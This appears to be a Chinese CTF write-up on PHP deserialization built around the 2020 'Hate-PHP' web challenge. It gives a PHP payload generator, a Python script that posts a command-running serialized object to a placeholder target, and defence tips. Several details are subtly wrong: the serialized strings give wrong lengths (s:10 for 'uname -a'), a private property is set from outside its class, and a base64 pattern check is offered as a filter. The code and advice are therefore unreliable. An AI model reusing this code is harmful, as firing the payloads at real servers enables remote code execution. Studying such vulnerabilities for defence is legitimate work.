共计 2041 个字符,预计需要花费 6 分钟才能阅读完成。
1. 背景介绍
第五空间智能安全大赛是国内知名的网络安全赛事,旨在挖掘和培养安全人才。2020 年的 Web 赛题 ’Hate-PHP’ 聚焦于 PHP 反序列化漏洞,这是一个在真实 Web 应用中频繁出现的高危漏洞类型。

该赛题模拟了一个使用 PHP 序列化功能存储用户数据的场景,考察选手对 PHP 对象注入漏洞的理解和利用能力。攻击者通过构造恶意序列化数据,可以触发服务端非预期的对象行为,最终实现远程代码执行。
2. 漏洞分析
2.1 PHP 反序列化漏洞原理
PHP 反序列化漏洞的核心在于 unserialize()函数对用户输入的不安全处理。当攻击者能够控制反序列化的数据时,可以构造特殊的对象注入到应用中。
2.2 危险魔术方法
PHP 中有几个特殊的魔术方法会在反序列化过程中被自动调用:
- __wakeup(): 对象反序列化时自动调用
- __destruct(): 对象销毁时自动调用
- __toString(): 对象被当作字符串使用时调用
这些方法的自动执行为攻击者提供了切入点。在 ’Hate-PHP’ 赛题中,关键漏洞点就是一个不安全的__wakeup()实现。
2.3 POP 链构造
属性导向编程 (POP) 链是指通过一系列对象属性和方法的组合,将程序执行流导向危险操作的过程。下图展示了一个典型的 POP 链构造:
[恶意序列化数据]
↓
unserialize()
↓
触发__wakeup()
↓
访问危险属性
↓
调用危险方法
↓
实现 RCE
3. 攻击演示
3.1 漏洞利用代码(PHP)
<?php
class VulnerableClass {
private $cmd;
public function __wakeup() {system($this->cmd);
}
}
// 构造恶意对象
$exploit = new VulnerableClass();
$exploit->cmd = 'id';
// 生成序列化 payload
$payload = serialize($exploit);
// 输出 payload
// O:15:"VulnerableClass":1:{s:21:"VulnerableClasscmd";s:2:"id";}
echo $payload;
?>
3.2 Python 攻击脚本
import requests
# 目标 URL
TARGET_URL = "http://example.com/vulnerable.php"
# 构造恶意序列化数据
payload = 'O:15:"VulnerableClass":1:{s:21:"VulnerableClasscmd";s:10:"uname -a";}'
# 发送攻击请求
response = requests.post(TARGET_URL, data={'data': payload})
print(response.text)
4. 防御方案
4.1 基础过滤
对用户输入的序列化数据进行严格过滤,移除危险字符和对象类型:
function safe_unserialize($data) {if(preg_match('/^[a-zA-Z0-9\/\+]*={0,2}$/', $data)) {return unserialize(base64_decode($data));
}
return null;
}
4.2 类型检查
在反序列化前验证数据类型:
$allowed_classes = ['SafeClass1', 'SafeClass2'];
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);
4.3 签名验证
对序列化数据进行签名验证:
function verify_serialized($data, $signature) {
$key = 'your-secret-key';
return hash_hmac('sha256', $data, $key) === $signature;
}
5. 避坑指南
以下是 PHP 反序列化的 5 个常见错误配置及修复建议:
- 直接反序列化用户输入
-
修复:永远不要直接反序列化用户输入
-
使用过时的 PHP 版本
-
修复:升级到 PHP 7.4+,使用 allowed_classes 限制
-
魔术方法中存在危险操作
-
修复:审查所有魔术方法,移除危险函数调用
-
敏感属性未声明为 private
-
修复:将敏感属性设为 private,防止外部访问
-
未记录反序列化操作日志
- 修复:记录所有反序列化操作及来源
6. 实战检查清单
检测系统是否存在 PHP 反序列化漏洞:
- 查找所有 unserialize()调用点
- 检查输入是否经过严格过滤
- 审查所有可能被反序列化的类
- 检查魔术方法实现
- 验证是否使用 allowed_classes 限制
- 测试是否可以通过构造特殊对象触发非预期行为
延伸思考
- 如何在不修改代码的情况下防御 PHP 反序列化攻击?
- 除了 RCE,PHP 反序列化漏洞还能造成哪些危害?
- 在现代 PHP 框架中,为什么反序列化漏洞相对较少?
通过本文的详细解析,希望读者能够深入理解 PHP 反序列化漏洞的原理和防御方法。在实际开发中,务必对反序列化操作保持高度警惕,遵循安全最佳实践。
